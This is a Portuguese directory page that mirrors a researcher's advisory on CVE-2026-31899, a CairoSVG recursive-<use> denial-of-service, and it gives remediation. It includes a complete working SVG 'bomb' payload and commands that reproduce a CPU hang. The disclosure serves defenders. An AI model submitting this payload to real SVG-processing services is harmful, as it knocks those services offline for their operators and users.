Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31899 — CVE-2026-31899: DoS exponencial por amplificação recursiva do elemento <use> no CairoSVG (CVSS 7.5 Alta) | Kitploit
Ferramentas/GitHubGitHub/snailsploit/cve-2026-31899
Análise de VulnerabilidadesExploraçãoSegurança WebPapers e PesquisaAprendizado e Educação
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: DoS exponencial por amplificação recursiva do elemento <use> no CairoSVG (CVSS 7.5 Alta)

Ver Repositório
1há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-31899: DoS Exponencial via Amplificação Recursiva do Elemento no CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

Palavras-chave: CVE-2026-31899, CairoSVG, DoS exponencial, bomba SVG, elemento use recursivo, negação de serviço, amplificação XML, vulnerabilidade SVG em Python, CWE-400, consumo descontrolado de recursos, SVG billion laughs

Sumário

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Análise Técnica
  • Prova de Conceito
  • Impacto
  • Remediação
  • Métricas CVSS
  • Referências
  • Contato
  • Visão Geral

    Negação de Serviço Exponencial do CairoSVG (CVE-2026-31899) — Um payload SVG de 1.411 bytes trava a CPU em 100% indefinidamente por meio da amplificação recursiva do elemento .

    CairoSVG (~300 mil downloads/semana) é um conversor Python de SVG para PNG/PDF amplamente utilizado. A função use() em cairosvg/defs.py processa recursivamente elementos sem nenhum limite de profundidade ou de contagem. Com 5 níveis de aninhamento e 10 referências em cada nível, um pequeno SVG dispara 10^5 = 100.000 chamadas de renderização — uma variante de "billion laughs" em SVG.

    Descoberto por: Kai Aizen — SnailSploit Publicado: 13 de março de 2026 Pontuação CVSS: 7.5 (Alta) CWE: CWE-400 — Consumo Descontrolado de Recursos Pacote: CairoSVG (PyPI) Tipo de Ataque: Negação de Serviço Exponencial Privilégios Necessários: Nenhum (não autenticado)

    Detalhes da Vulnerabilidade

    Descrição

    A função use() em cairosvg/defs.py (linha ~335) resolve recursivamente elementos que referenciam outros elementos . Não há limite de profundidade de recursão nem orçamento total de elementos. Um atacante pode criar um pequeno SVG em que cada camada referencia a camada anterior N vezes, produzindo O(N^depth) chamadas de renderização a partir de O(depth) de entrada.

    Principais Características

    • Fator de amplificação: O(10^N) chamadas de renderização a partir de O(N) linhas de entrada
    • Perfil de memória: Estável ~43MB — sem kill por OOM, o processo nunca termina naturalmente
    • Perfil de CPU: 100% de um único núcleo travado indefinidamente
    • Tamanho do payload: 1.411 bytes

    Versões Afetadas

    • Vulneráveis: Todas as versões < 2.9.0
    • Corrigidas: Versão 2.9.0 e superiores

    Análise Técnica

    A vulnerabilidade existe porque:

    1. A função use() em defs.py processa cada elemento consultando seu alvo xlink:href
    2. Se o alvo for, por sua vez, um grupo contendo elementos , estes são expandidos recursivamente
    3. Nenhum contador de profundidade ou orçamento de elementos é aplicado
    4. Cada nível multiplica o trabalho pelo fator de ramificação (ex.: 10x por nível)

    Com 5 níveis e um fator de ramificação de 10:

    root@kitploit:~
    Level 0: 1 element (root <use>)
    Level 1: 10 elements
    Level 2: 100 elements
    Level 3: 1,000 elements
    Level 4: 10,000 elements
    Level 5: 100,000 render calls
    

    Total: 111.111 chamadas de renderização a partir de uma entrada de 1.411 bytes.

    Prova de Conceito

    Payload SVG poc.svg)

    root@kitploit:~
    <?xml version="1.0"?>
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
      <defs>
        <g id="a"><rect width="1" height="1"/></g>
        <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
        <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
        <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
        <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
      </defs>
      <use xlink:href="#e"/>
    </svg>
    

    Reprodução

    Método 1 — Linha de Comando:

    root@kitploit:~
    timeout 10 cairosvg poc.svg -o test.png
    # Expected: timeout kills the process after 10 seconds (it never completes)
    

    Método 2 — Python:

    root@kitploit:~
    import cairosvg
    import signal
    
    signal.alarm(5)  # Kill after 5 seconds
    try:
        cairosvg.svg2png(bytestring=open("poc.svg").read())
    except:
        print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
    

    Impacto

    Qualquer serviço que aceite entrada SVG e use o CairoSVG para processamento está vulnerável:

    Superfície de AtaqueExemplo
    Geração de miniaturasUpload de SVG → o servidor converte para PNG
    Geração de PDFSVG embutido em documento → o CairoSVG renderiza
    Processamento de avatar/imagensImagens de perfil SVG enviadas pelo usuário
    Renderização de relatóriosGráficos SVG em relatórios automatizados
    Pipelines de CI/CDAssets SVG processados durante o build

    Uma única requisição com um payload de 1,4KB travará o thread de processamento indefinidamente enquanto consome memória mínima (sem kill por OOM para salvá-lo).

    Remediação

    Correção Imediata

    Atualize o CairoSVG para a versão 2.9.0 ou superior:

    root@kitploit:~
    pip install --upgrade CairoSVG>=2.9.0
    

    Defesa em Profundidade

    • Defina timeouts de processamento em qualquer endpoint de conversão de SVG
    • Implemente limites de tamanho de entrada para uploads de SVG
    • Considere executar o processamento de SVG em um ambiente sandbox com workers isolados e limites de tempo de CPU

    Métricas CVSS v3.1

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    
    MétricaValor
    Vetor de AtaqueRede (AV:N)
    Complexidade do AtaqueBaixa (AC:L)
    Privilégios NecessáriosNenhum (PR:N)
    Interação do UsuárioNenhuma (UI:N)
    EscopoInalterado (S:U)
    ConfidencialidadeNenhuma (C:N)
    IntegridadeNenhuma (I:N)
    DisponibilidadeAlta (A:H)

    Linha do Tempo

    DataEvento
    2026-03-09CVE reservado
    2026-03-13Advisory publicado (GHSA-f38f-5xpm-9r7c)
    2026-03-13CairoSVG 2.9.0 lançado com a correção

    Referências

    • GHSA-f38f-5xpm-9r7c
    • NVD — CVE-2026-31899
    • CairoSVG no PyPI
    • CWE-400: Consumo Descontrolado de Recursos
    • Commit da Correção

    Contato

    Kai Aizen (SnailSploit)

    • Web: snailsploit.com
    • GitHub: @SnailSploit
    • LinkedIn: /in/kaiaizen

    ⚠️ Aviso Legal: Este repositório é apenas para fins educacionais e de pesquisa de segurança autorizada. A prova de conceito é fornecida para ajudar defensores a validar sua exposição. Use com responsabilidade.


    📚 Documentação e Autor

    O writeup completo, a metodologia e as pesquisas relacionadas deste projeto estão disponíveis em:

    https://snailsploit.com/cves

    Criado por Kai Aizen — pesquisador independente de segurança ofensiva.

    snailsploit.com · Pesquisa · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

    Mesmo ataque. Substrato diferente.

    Baixar ferramenta